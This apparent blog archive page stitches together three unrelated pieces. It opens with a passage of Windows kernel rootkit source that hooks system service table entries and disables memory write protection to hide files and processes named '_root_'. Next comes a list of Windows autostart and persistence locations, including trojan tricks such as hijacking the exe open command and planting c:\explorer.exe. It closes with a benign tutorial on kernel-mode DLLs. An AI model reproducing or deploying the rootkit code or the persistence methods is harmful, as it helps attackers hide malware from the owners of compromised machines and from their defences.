    BOOLEAN bReturnOnlyOneEntry,
    PUNICODE_STRING PathMask,
    BOOLEAN bRestartQuery
);

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
            PVOID SystemInformation,
            ULONG SystemInformationLength,
            PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION     OldZwQuerySystemInformation;
ZWQUERYDIRECTORYFILE         OldZwQueryDirectoryFile;


void GetProcessNameOffset()
{
    
    PEPROCESS curproc;
    int i;
    curproc = PsGetCurrentProcess();
    for( i = 0; i < 3*PAGE_SIZE; i++ )
    {
        if( !strncmp( “System”, (PCHAR) curproc + i, strlen(“System”) ))
        {
            gProcessNameOffset = i;
        }
    }
}

BOOL GetProcessName( PCHAR theName )
{
    PEPROCESS       curproc;
    char            *nameptr;
    ULONG           i;
    KIRQL           oldirql;

    if( gProcessNameOffset )
    {
        curproc = PsGetCurrentProcess();
        nameptr   = (PCHAR) curproc + gProcessNameOffset;
        strncpy( theName, nameptr, NT_PROCNAMELEN );
        theName[NT_PROCNAMELEN] = 0; /* NULL at end */
        return TRUE;
    }
    return FALSE;
}

DWORD getDirEntryLenToNext(
        IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
    DWORD result = 0;
    switch(FileInfoClass){
        case FileDirectoryInformation:
            result = ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset;
            break;
        case FileFullDirectoryInformation:
            result = ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
            break;
        case FileIdFullDirectoryInformation:
            result = ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
            break;
        case FileBothDirectoryInformation:
            result = ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
            break;
        case FileIdBothDirectoryInformation:
            result = ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
            break;
        case FileNamesInformation:
            result = ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset;
            break;
    }
    return result;
}

void setDirEntryLenToNext(
        IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN DWORD value
)
{
    switch(FileInfoClass){
        case FileDirectoryInformation:
            ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
            break;
        case FileFullDirectoryInformation:
            ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
            break;
        case FileIdFullDirectoryInformation:
            ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
            break;
        case FileBothDirectoryInformation:
            ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
            break;
        case FileIdBothDirectoryInformation:
            ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
            break;
        case FileNamesInformation:
            ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
            break;
    }
}
    
PVOID getDirEntryFileName(
        IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
    PVOID result = 0;
    switch(FileInfoClass){
        case FileDirectoryInformation:
            result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileName[0];
            break;
        case FileFullDirectoryInformation:
            result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
            break;
        case FileIdFullDirectoryInformation:
            result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
            break;
        case FileBothDirectoryInformation:
            result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
            break;
        case FileIdBothDirectoryInformation:
            result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
            break;
        case FileNamesInformation:
            result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileName[0];
            break;
    }
    return result;
}

ULONG getDirEntryFileLength(
        IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
    ULONG result = 0;
    switch(FileInfoClass){
        case FileDirectoryInformation:
            result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileNameLength;
            break;
        case FileFullDirectoryInformation:
            result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
            break;
        case FileIdFullDirectoryInformation:
            result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
            break;
        case FileBothDirectoryInformation:
            result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
            break;
        case FileIdBothDirectoryInformation:
            result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
            break;
        case FileNamesInformation:
            result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileNameLength;
            break;
    }
    return result;
}

NTSTATUS NewZwQueryDirectoryFile(
    IN HANDLE hFile,
    IN HANDLE hEvent OPTIONAL,
    IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
    IN PVOID IoApcContext OPTIONAL,
    OUT PIO_STATUS_BLOCK pIoStatusBlock,
    OUT PVOID FileInformationBuffer,
    IN ULONG FileInformationBufferLength,
    IN FILE_INFORMATION_CLASS FileInfoClass,
    IN BOOLEAN bReturnOnlyOneEntry,
    IN PUNICODE_STRING PathMask OPTIONAL,
    IN BOOLEAN bRestartQuery
)
{
    NTSTATUS rc;
    CHAR aProcessName[PROCNAMELEN];
        
    GetProcessName( aProcessName );
    //DbgPrint(“rootkit: NewZwQueryDirectoryFile() from %s\n”, aProcessName);

    rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
            hFile,                            /* this is the directory handle */
            hEvent,
            IoApcRoutine,
            IoApcContext,
            pIoStatusBlock,
            FileInformationBuffer,
            FileInformationBufferLength,
            FileInfoClass,
            bReturnOnlyOneEntry,
            PathMask,
            bRestartQuery);

    if( NT_SUCCESS( rc ) &&
        (FileInfoClass == FileDirectoryInformation ||
         FileInfoClass == FileFullDirectoryInformation ||
         FileInfoClass == FileIdFullDirectoryInformation ||
         FileInfoClass == FileBothDirectoryInformation ||
         FileInfoClass == FileIdBothDirectoryInformation ||
         FileInfoClass == FileNamesInformation )
        )
    {
        if(0 == memcmp(aProcessName, STRHIDE, HIDELEN))
        {
            DbgPrint(“rootkit: detected file/directory query from _root_ process\n”);
        }
        else
        {
            PVOID p = FileInformationBuffer;
            PVOID pLast = NULL;
            BOOL bLastOne;
            do
            {
                bLastOne = !getDirEntryLenToNext(p,FileInfoClass);
                
                // compare directory-name prefix with ‘_root_’ to decide if to hide or not.

                if (getDirEntryFileLength(p,FileInfoClass) >= HIDELENB) {
                    if( RtlCompareMemory( getDirEntryFileName(p,FileInfoClass), (PVOID)STRHIDEW, HIDELENB ) == HIDELENB )
                    {
                        if( bLastOne )
                        {
                            if( p == FileInformationBuffer )
                            {
                                if(!bReturnOnlyOneEntry)
                                    rc = STATUS_NO_MORE_FILES;
                                else
                                {
                                    //if we are only returning one entry then there could be
                                    //more files e.g. FindNextFile so call again
                                    //with same params – the directory file pointer would have
                                    //moved forward so it should get the next file in the list

                                    rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
                                            hFile,                            /* this is the directory handle */
                                            hEvent,
                                            IoApcRoutine,
                                            IoApcContext,
                                            pIoStatusBlock,
                                            FileInformationBuffer,
                                            FileInformationBufferLength,
                                            FileInfoClass,
                                            bReturnOnlyOneEntry,
                                            PathMask,
                                            bRestartQuery);

                                    if(NT_SUCCESS(rc))
                                    {
                                        //success – so set our current file pointer and skip
                                        //the rest of the code and start the same loop again
                                        p = FileInformationBuffer;
                                        continue;
                                    }
                                    else
                                        break; //failed so break and return status to caller


                                }
                            }
                            else setDirEntryLenToNext(pLast,FileInfoClass, 0);
                            break;
                        }
                        else
                        {
                            int iPos = ((ULONG)p) – (ULONG)FileInformationBuffer;
                            int iLeft = (DWORD)FileInformationBufferLength – iPos – getDirEntryLenToNext(p,FileInfoClass);
                            RtlCopyMemory( p, (PVOID)( (char *)p + getDirEntryLenToNext(p,FileInfoClass) ), (DWORD)iLeft );
                            continue;
                        }
                    }
                }
                pLast = p;
                p = ((char *)p + getDirEntryLenToNext(p,FileInfoClass) );
            } while( !bLastOne );
        }
    }
    return(rc);
}

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength
)
{
    NTSTATUS rc;
    CHAR aProcessName[PROCNAMELEN];
        
    GetProcessName( aProcessName );
    //DbgPrint(“rootkit: NewZwQuerySystemInformation() from %s\n”, aProcessName);

    rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
            SystemInformationClass,
            SystemInformation,
            SystemInformationLength,
            ReturnLength );

    if( NT_SUCCESS( rc ) )
    {
        // double check the process name, if it starts w/ ‘_root_’ DO NOT
        // apply any stealth
        if(0 == memcmp(aProcessName, “_root_”, 6))
        {
            DbgPrint(“rootkit: detected system query from _root_ process\n”);
        }
        else if( 5 == SystemInformationClass )
        {
            // this is a process list, look for process names that start with
            // ‘_root_’
            
            struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            struct _SYSTEM_PROCESSES *prev = NULL;
            DbgPrint(“rootkit: NewZwQuerySystemInformation() from %s\n”, aProcessName);
            while(curr)
            {    
                //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);
                BOOL bMod = FALSE;
                ANSI_STRING process_name;
                RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);
                if( (0 < process_name.Length) && (255 > process_name.Length) )
                {
                    if(0 == memcmp( process_name.Buffer, “_root_”, 6))
                    {
                        //////////////////////////////////////////////
                        // we have a winner!
                        //////////////////////////////////////////////
                        char _output[255];
                        char _pname[255];
                        memset(_pname, 0, 255);
                        memcpy(_pname, process_name.Buffer, process_name.Length);

                        sprintf(    _output,
                                    ”rootkit: hiding process, pid: %d\tname: %s\r\n”,
                                    curr->ProcessId,
                                    _pname);
                        DbgPrint(_output);

                        if(prev)
                        {
                            if(curr->NextEntryDelta)
                            {
                                // make prev skip this entry
                                prev->NextEntryDelta += curr->NextEntryDelta;
                                bMod = TRUE; //flag to say that we have modified
                            }
                            else
                            {
                                // we are last, so make prev the end
                                prev->NextEntryDelta = 0;
                            }
                        }
                        else
                        {
                            if(curr->NextEntryDelta)
                            {
                                // we are first in the list, so move it forward
                                (char *)SystemInformation += curr->NextEntryDelta;
                            }
                            else
                            {
                                // we are the only process!
                                SystemInformation = NULL;
                            }
                        }
                    }
                }

                RtlFreeAnsiString(&process_name);
                prev = curr;

                //This illustrates (i hope) what happenes to next entry delta when there is more than
                //one hidden process following after one another.

                //before the fix:

                //    test1.exe  ———–
                //    _root_test1.exe —–|—
                //    _root_test2.exe <—-|  |
                //    test2.exe  <————|


                //after fix:

                //    test1.exe  ———–
                //    _root_test1.exe      |
                //    _root_test2.exe      |  
                //    test2.exe  <———-


                if(!bMod)
                    prev = curr;  //only modify previous if this was not a hidden entry
                                  //otherwise if the next entry is suposed to be hidden
                                  //then it wont

                if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
                else curr = NULL;
            }
        }
    }
    return(rc);
}

NTSTATUS
OnStubDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP           Irp
    )
{
    Irp->IoStatus.Status      = STATUS_SUCCESS;
    IoCompleteRequest (Irp,
                       IO_NO_INCREMENT
                       );
    return Irp->IoStatus.Status;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    DbgPrint(“ROOTKIT: OnUnload called\n”);

    _asm
    {
        CLI                    //dissable interrupt
        MOV    EAX, CR0        //move CR0 register into EAX
        AND EAX, NOT 10000H //disable WP bit
        MOV    CR0, EAX        //write register back
    }

    (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))    =OldZwQueryDirectoryFile;
    (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;

    _asm
    {
        MOV    EAX, CR0        //move CR0 register into EAX
        OR    EAX, 10000H        //enable WP bit     
        MOV    CR0, EAX        //write register back        
        STI                    //enable interrupt
    }
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
    int i;

    DbgPrint(“My Driver Loaded!”);

    GetProcessNameOffset();

    // Register a dispatch function
    for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
    {
            theDriverObject->MajorFunction[i] = OnStubDispatch;
    }

    theDriverObject->DriverUnload  = OnUnload;

    // save old system call locations
    OldZwQueryDirectoryFile=(ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
    OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));


    _asm
    {
        CLI                    //dissable interrupt
        MOV    EAX, CR0        //move CR0 register into EAX
        AND EAX, NOT 10000H //disable WP bit
        MOV    CR0, EAX        //write register back
    }

    (ZWQUERYDIRECTORYFILE)  (SYSTEMSERVICE(ZwQueryDirectoryFile))=  NewZwQueryDirectoryFile;
    (ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE(ZwQuerySystemInformation))= NewZwQuerySystemInformation;

    _asm
    {
        MOV    EAX, CR0        //move CR0 register into EAX
        OR    EAX, 10000H        //enable WP bit     
        MOV    CR0, EAX        //write register back        
        STI                    //enable interrupt
    }
                    
    return STATUS_SUCCESS;
}

2005年01月08日

By ShaolinTiger

The following article was written
by ShaolinTiger, Administrator of:


1.
START-UP FOLDER.
Windows opens every item
in the Start Menu’s Start Up folder. This folder is
prominent in the Programs folder of the Start Menu.




Notice that I did not say that Windows “runs” every
program that is represented in the Start Up folder.
I said it “opens every item.” There’s an important difference.




Programs represented in the Start Up folder will run,
of course. But you can have shortcuts in the Start Up
folder that represent documents, not programs.



For example, if you put a Microsoft Word document in
the Start Up folder, Word will run and automatically
open that document at bootup; if you put a WAV file
there, your audio software will play the music at bootup,
and if you put a Web-page Favourites there, Internet
Explorer (or your own choice of a browser) will run
and open that Web page for you when the computer starts
up. (The examples cited here could just as easily be
shortcuts to a WAV file or a Word document, and so on.)




2. REGISTRY. Windows executes all
instructions in the “Run” section of the Windows Registry.
Items in the “Run” section (and in other parts of the
Registry listed below) can be programs or files that
programs open (documents), as explained in No. 1 above.




3. REGISTRY. Windows executes all
instructions in the “RunServices” section of the Registry.




4. REGISTRY. Windows executes all
instructions in the “RunOnce” part of the Registry.




5. REGISTRY. Windows executes instructions
in the “RunServicesOnce” section of the Registry. (Windows
uses the two “RunOnce” sections to run programs a single
time only, usually on the next bootup after a program
installation.)



7. REGISTRY. Windows executes instructions
in the HKEY_CLASSES_ROOT\exefile\shell\open\command
“%1″ %* section of the Registry. Any command imbedded
here will open when any exe file is executed.



Other possibles:



[HKEY_CLASSES_ROOT\exefile\shell\open\command] =”\”%1\”
%*”

[HKEY_CLASSES_ROOT\comfile\shell\open\command] =”\”%1\”
%*”

[HKEY_CLASSES_ROOT\batfile\shell\open\command] =”\”%1\”
%*”

[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] =”\”%1\”
%*”

[HKEY_CLASSES_ROOT\piffile\shell\open\command] =”\”%1\”
%*”

[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command]
=”\”%1\”

%*”

[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command]
=”\”%1\”

%*”

[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command]
=”\”%1\”

%*”

[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command]
=”\”%1\”

%*”

[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command]
=”\”%1\”

%*”



If keys don’t have the “\”%1\” %*” value as shown, and
are changed to something like “\”somefilename.exe %1\”
%*” than they are automatically invoking the specified
file.



8. BATCH FILE. Windows executes all
instructions in the Winstart batch file, located in
the Windows folder. (This file is unknown to nearly
all Windows users and most Windows experts, and might
not exist on your system. You can easily create it,
however. Note that some versions of Windows call the
Windows folder the “WinNT” folder.) The full filename
is WINSTART.BAT.



9. INITIALIZATION FILE. Windows executes
instructions in the “RUN=” line in the WIN.INI file,
located in the Windows (or WinNT) folder.



10. INITIALIZATION FILE. Windows executes
instructions in the “LOAD=” line in the WIN.INI file,
located in the Windows (or WinNT) folder.



It also runs things in shell= in System.ini or c:\windows\system.ini:




[boot]

shell=explorer.exe C:\windows\filename



The file name following explorer.exe will start whenever
Windows starts.



As with Win.ini, file names might be preceeded by considerable
space on such a line, to reduce the chance that they
will be seen. Normally, the full path of the file will
be included in this entry. If not, check the \Windows
directory





11. RELAUNCHING. Windows reruns programs
that were running when Windows shut down. Windows cannot
do this with most non-Microsoft programs, but it will
do it easily with Internet Explorer and with Windows
Explorer, the file-and-folder manager built into Windows.
If you have Internet Explorer open when you shut Windows
down, Windows will reopen IE with the same page open
when you boot up again. (If this does not happen on
your Windows PC, someone has turned that feature off.
Use Tweak UI, the free Microsoft Windows user interface
manager, to reactivate “Remember Explorer settings,”
or whatever it is called in your version of Windows.)




12. TASK SCHEDULER. Windows executes
autorun instructions in the Windows Task Scheduler (or
any other scheduler that supplements or replaces the
Task Scheduler). The Task Scheduler is an official part
of all Windows versions except the first version of
Windows 95, but is included in Windows 95 if the Microsoft
Plus Pack was installed.



13. SECONDARY INSTRUCTIONS. Programs
that Windows launches at startup are free to launch
separate programs on their own. Technically, these are
not programs that Windows launches, but they are often
indistinguishable from ordinary auto-running programs
if they are launched right after their “parent” programs
run.



14. C:\EXPLORER.EXE METHOD.



C:\Explorer.exe



Windows loads explorer.exe (typically located in the
Windows directory)during the boot process. However,
if c:\explorer.exe exists, it will be executed instead
of the Windows explorer.exe. If c:\explorer.exe is corrupt,
the user will effectively be locked out of their system
after they reboot.



If c:\explorer.exe is a trojan, it will be executed.
Unlike all other autostart methods, there is no need
for any file or registry changes – the file just simply
has to be named c:\explorer.exe



15. ADDITIONAL METHODS.



Additional autostart methods. The first two are used
by Trojan SubSeven 2.2.



HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed
Components

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\explorer\Usershell
folders



Icq Inet

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\test]


“Path”=”test.exe”

“Startup”=”c:\\test”

“Parameters”=”"

“Enable”=”Yes”



[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\]


This key specifies that all applications will be executed
if ICQNET Detects an Internet Connection.



[HKEY_LOCAL_MACHINE\Software\CLASSES\ShellScrap] =”Scrap
object”

“NeverShowExt”=”"

This key changes your file’s specified extension.

2005年01月07日

 

DLLs in Kernel Mode
July 15, 2003
Tim Roberts

Copyright © 2003, Tim Roberts. All rights reserved

Win32 user-mode programmers are accustomed to using and creating dynamic link libraries, or DLLs, to compartmentalize their applications and enable efficient code reuse. The typical application includes many DLLs, and careful design allows those DLLs to be reused many times over.

Kernel driver writers are often not aware that they can use exactly the same concept in kernel mode. The standard DDK even includes several samples (for example, storage/changers/class). In this article, I will show you a working (though trivial) example of a kernel DLL.

The Basics

In terms of the C source code, a kernel DLL is virtually identical to a user-mode DLL. The primary difference is that you may not call any user-mode APIs from a kernel DLL. That should not be surprising.

You use a kernel DLL just like a user-mode DLL: the linker builds an import library when it builds your DLL, and you include that library in the target library list for any driver that needs to use the DLL. No registry magic is required, and no special action is needed to start or stop the DLL. Your kernel DLL will be automatically loaded as soon as any other driver makes a reference to it, and is automatically unloaded when the last referring driver unloads.1

You can export DLL entry points from a normal WDM driver as well. There are many drivers in the operating system that export entry points for other drivers to use. For example, the ubiquitous NTOSKRNL.EXE, which contains all of the Ex, Fs, Io, Ke, Mm, Nt, and Zw entry points used by virtually every driver, is nothing more than a standard kernel driver with exports, exactly like the DLL we will describe here.

Digging In

OK, now let’s get in to a few of the details. All of the source files for this project are available at http://www.wd-3.com/downloads/kdll.zip.

The most important step to take when creating an export driver is to specify the TARGETTYPE macro in the “sources” file:

TARGETTYPE=EXPORT_DRIVER

This type tells the build system that our project will build a kernel-mode driver that is exporting functions. If you leave TARGETTYPE set to DRIVER, as with a normal kernel-mode driver, your exports will not be available to other drivers.

Your DLL must include the standard DriverEntry entry point, but the system won’t actually call that entry point. This requirement is an artifact of the build system, which adds /ENTRY:DriverEntry to the linker options for every kernel driver. An EXPORT_DRIVER can also function as a normal driver, and the build system cannot tell whether we want to do that or not, so we have to supply this dummy entry point for an export-only DLL.

If you do need to take special one-time action on loading and unloading, you should export two special enty points called DllInitialize and DllUnload:

NTSTATUS DllInitialize(IN PUNICODE_STRING RegistryPath)
  {
  DbgPrint("SAMPLE: DllInitialize(%wZ)\n", RegistryPath);
  return STATUS_SUCCESS;
  }

NTSTATUS DllUnload()
  {
  DbgPrint("SAMPLE: DllUnload\n");
  return STATUS_SUCCESS;
  }

The RegistryPath string passed to DllInitialize is of the form:

\Registry\Machine\System\CurrentControlSet\Services\SAMPLE

You would only include a DllInitialize routine in an export-only DLL — that is, in a driver that’s used exclusively as a DLL and not as a real driver for hardware. You do not need to define a service key for such a driver. Consequently, the RegistryPath string is not probably not going to be useful to you, because it likely names a registry key that doesn’t even exist.

Compatibility caution: A bug in Windows 98 Gold will prevent your DLL from loading if you include a DllInitialize entry point. Further, Windows 98 Second Edition and Windows Millennium will never call the DllUnload entry point. A kernel DLL in these systems, once loaded, is permanent.

Declaring Exports

Beyond those two special entry points, you can create whatever entry point names you find convenient. You just need to identify those entry point names to the linker. There are two ways to do that. For our sample purposes, I will be exporting one functional entry point from our DLL:

NTSTATUS SampleDouble(int* pValue)
  {
  DbgPrint("SampleDouble: %d\n", *pValue);
  *pValue *= 2;
  return STATUS_SUCCESS;
  }

There are two ways to tell the linker that you want to export a function. The first method is to enumerate the names in a .DEF file. The .DEF file is familiar to anyone who has done Win16 or Win32 programming. It is a special file used to give instructions to the linker that cannot be easily included on the command line. In this case, it enumerates the names of the routines we want to export from the DLL. The linker uses this list to create the symbol tables in the DLL, and to create an import library that we can use in other projects to call into our DLL. Our .DEF file looks like this:

NAME SAMPLE.SYS

EXPORTS
  DllInitialize PRIVATE
  DllUnload PRIVATE
  SampleDouble

DllInitialize and DllUnload must both be marked as PRIVATE. This tells the linker to export the symbol from the DLL executable file, but not to include it in the import library it builds. The build system will flag an error if these are not marked PRIVATE.

The import library is the fundamental mechanism used to map a function’s name to the DLL that contains that function. Almost all of the libraries you use in Win32 program are import libraries, including kernel libraries such as ntdll.lib and ntoskrnl.lib, and user-mode libraries such as kernel32.lib, user32.lib, and gdi32.lib. Such libraries do not actually contain any code. Instead, they contain a set of linker tables that contains information that means something like, “The name MySampleFunction maps to _MySampleFunction@4 in MY.DLL”.

The linker embeds this information into the executable file, so that the operating system can tie all of the loose ends together when the EXE or DLL is finally loaded into memory.

We have to use the special DLLDEF macro in the “sources” file to identify the name of our .DEF file:

DLLDEF=sample.def

The second way to identify your exported entry points is to use a declspec attribute in your source code:

__declspec(dllexport) NTSTATUS SampleDouble(int* pValue)
  {
  ...
  }

This has the same effect as listing the name in the .DEF file. In general, I am in favor of reducing the number of files in my project, since that automatically reduces the number of chances for error. However, in this case, there is a catch: DllInitialize and DllUnload must be marked as PRIVATE exports, and to my knowledge, there is no way to mark an export PRIVATE without using a .DEF file. Thus, you will HAVE to use the .DEF file at least for those two names. Whether you include your other exports in the .DEF file or mark them with __declspec(dllexport) is completely up to you.

The sample source code for this article is in C. If you wish to export functions from a DLL written in C++, you have an additional complication to consider. Because C++ allows multiple functions with the same name but different argument lists, C++ compilers “decorate” their symbol names with extra characters that specifically identify the return type and argument list. For example, the actual name of the SampleDouble function when compiled in a C++ module is ?SampleDouble@@YGJPAH@Z. If you try to call this function from another C++ driver, it would work, but if you try to call it from a C driver, the external names won’t line up.

The way to fix this is to use a special language modifier on the extern declaration, like this:

extern "C" NTSTATUS SampleDouble(int* pValue)
  {
  ...
  }

With that information, we can now bring up a DDK command shell and do a build. For this example, we build a file called sample.sys. We copy this file to the traditional location for drivers, %WINDIR%\SYSTEM32\DRIVERS, and we are ready to use our DLL. We can verify the exports using the “dumpbin” command, just like you would with a user-mode DLL:

C:\Dev\KernDLL>dumpbin /exports objfre_w2k_x86\i386\sample.sys

Microsoft (R) COFF/PE Dumper Version 7.00.9210
Copyright (C) Microsoft Corporation.  All rights reserved.

Dump of file objfre_w2k_x86\i386\sample.sys

File Type: EXECUTABLE IMAGE

  Section contains the following exports for SAMPLE.SYS

  00000000 characteristics
  3EEEB656 time date stamp Mon Jun 16 23:33:58 2003
  0.00 version
    1 ordinal base
    3 number of functions
    3 number of names

  ordinal hint RVA      name

    1    0 0000031B DllInitialize
    2    1 00000347 DllUnload
    3    2 00000368 SampleDouble
    ...

Alternatively, you can use the Dependency Walker applet (DEPENDS.EXE) from the Platform SDK to view the file:

Notice that the Subsystem displayed for all the modules in the bottom pane is “Native”. If you ever see a “Win32″ subsystem when you’re looking at the dependencies for a driver or kernel DLL you’ve created, it means that you’ve called a user-mode API function.

Calling Into the DLL

To make it convenient to call the entry points in our DLL, we probably want to create a header file to include in our calling driver. For this sample, we can use this simple sample.h:

#pragma once
EXTERN_C DECLSPEC_IMPORT NTSTATUS SampleDouble(int* pValue);

We use several custom macros here to make the file flexible and easier to read. These macros are defined in <ntdef.h>, which is included automatically in most drivers via <wdm.h>

EXTERN_C expands to extern “C” in a C++ source file, and to plain old extern in a C source file. This ensures that no unwanted decoration will occur in the calling program.

DECLSPEC_IMPORT expands to the Visual C++ specifier __declspec(dllimport). This is the complement of the __declspec(dllexport) macro we used above, and tells the compiler that the call will be satisfied from a DLL at run-time, rather than being loaded at link-time. This allows the compiler and the linker to optimize the runtime linkage to SampleDouble.2

When you define a header file like this that contains function prototypes for a DLL, it’s a good idea to include that header in the DLL project too. Doing that gives you a compile-time check that you’ve correctly prototyped the functions. All those DECLSPEC_IMPORT directives will cause warning messages from the compiler, however. You can cure that minor problem by putting some conditional compilation into the header:

#pragma once
#ifdef SAMPLE_INTERNAL
  #define SAMPLE_IMPORT
#else
  #define SAMPLE_IMPORT DECLSPEC_IMPORT
#endif

EXTERN_C SAMPLE_IMPORT SampleDouble(int* pValue);

You define the symbol SAMPLE_INTERNAL in your DLL project, which causes the header to not have any __declspec directives. Other projects that include the header don’t define this symbol, which means that the header does contain the directives.

Testing

To test our sample, I added the following code to the DriverEntry of a kernel driver I have been working on:

#include "sample.h"

NTSTATUS DriverEntry(...)
  {
  PDEVICE_OBJECT deviceObject = NULL;
  NTSTATUS       ntStatus;
  WCHAR          deviceNameBuffer[] = L"\\Device\\dbgdrvr";
  UNICODE_STRING deviceNameUnicodeString;
  WCHAR          deviceLinkBuffer[] = L"\\DosDevices\\DBGDRVR";
  UNICODE_STRING deviceLinkUnicodeString;
  int xxx = 19;

  KdPrint(("HELPER.SYS: entering DriverEntry\n"));
  KdPrint (("Helper: before is %d\n", xxx));
  SampleDouble(&xxx);
  KdPrint(("Helper:  after is %d\n", xxx));
  ...
  }

I copied “sample.lib” from my sample build directory into the test build directory, and added “sample.lib” to the TARGETLIBS macro in “sources”. In fact, because my test driver is so simple, the entire sources file is here:

TARGETNAME=dbgdrvr
TARGETPATH=obj
TARGETTYPE=DRIVER

TARGETLIBS=sample.lib

SOURCES=dbgdrvr.c

I then built my driver and copied the binary to SYSTEM32\DRIVERS. This is an old-style NT 4 driver, so I started it up with “net start” and stopped it with “net stop”. The resulting debug log looked like this:

SAMPLE: DllInitialize(\REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES\SAMPLE)
HELPER.SYS: entering DriverEntry
Helper: before is 19
SampleDouble: 19
Helper:  after is 38
HELPER.SYS: unloading
SAMPLE: DllUnload

Note that our DLL loads before the calling driver starts to execute, and unloads after the calling driver shuts down. This, again, is similar to the way a Win32 user-mode DLL operates: the system does not know whether we intend to call the DLL within our DriverEntry or not, so it ensures that all DLLs are in place an initialized before launching the referring driver.

You can see the registry path being passed to the DllInitialize entry point of my kernel DLL. You’ll have to trust me when I tell you there is no such path in my registry; the string is just for decoration.

Conclusion

This is a lot of work just to double an integer, but it demonstrates a powerful and little-known concept. With a little forethought, you can build a centralized repository for all of your interesting overhead routines, hiding the sometimes daunting complexity of the kernel APIs in a simple wrapper that you can use over and over again.

About the author:

Tim Roberts is a hopeless software engineer who programs both for fun and for profit. Tim has been programming computers for more than a third of a century, on everything from microcontrollers to mainframes.

Tim is a partner in Providenza & Boekelheide, Inc., a technology consulting company in the Silicon Forest just outside of Portland, Oregon. P&B provides all kinds of hardware and software consulting, specializing in graphics, video, and multimedia.


1 — Kernel DLLS are never unloaded in Windows 98 Second Edition or in Windows Millennium, though. I’ll say more about platform compatibility later on in the article.

2 — If you give the compiler the clue that a given function will be imported from another DLL, it generates an indirect call through the module’s indirect address table. If you don’t give the compiler this clue, it generates a call to an external function. The linker then includes a function thunk (taken from the import library) that contains an indirect call through the indirect address table. Thus, using __declspec(dllimport) eliminates the thunk in the middle and saves a few machine cycles at run time.

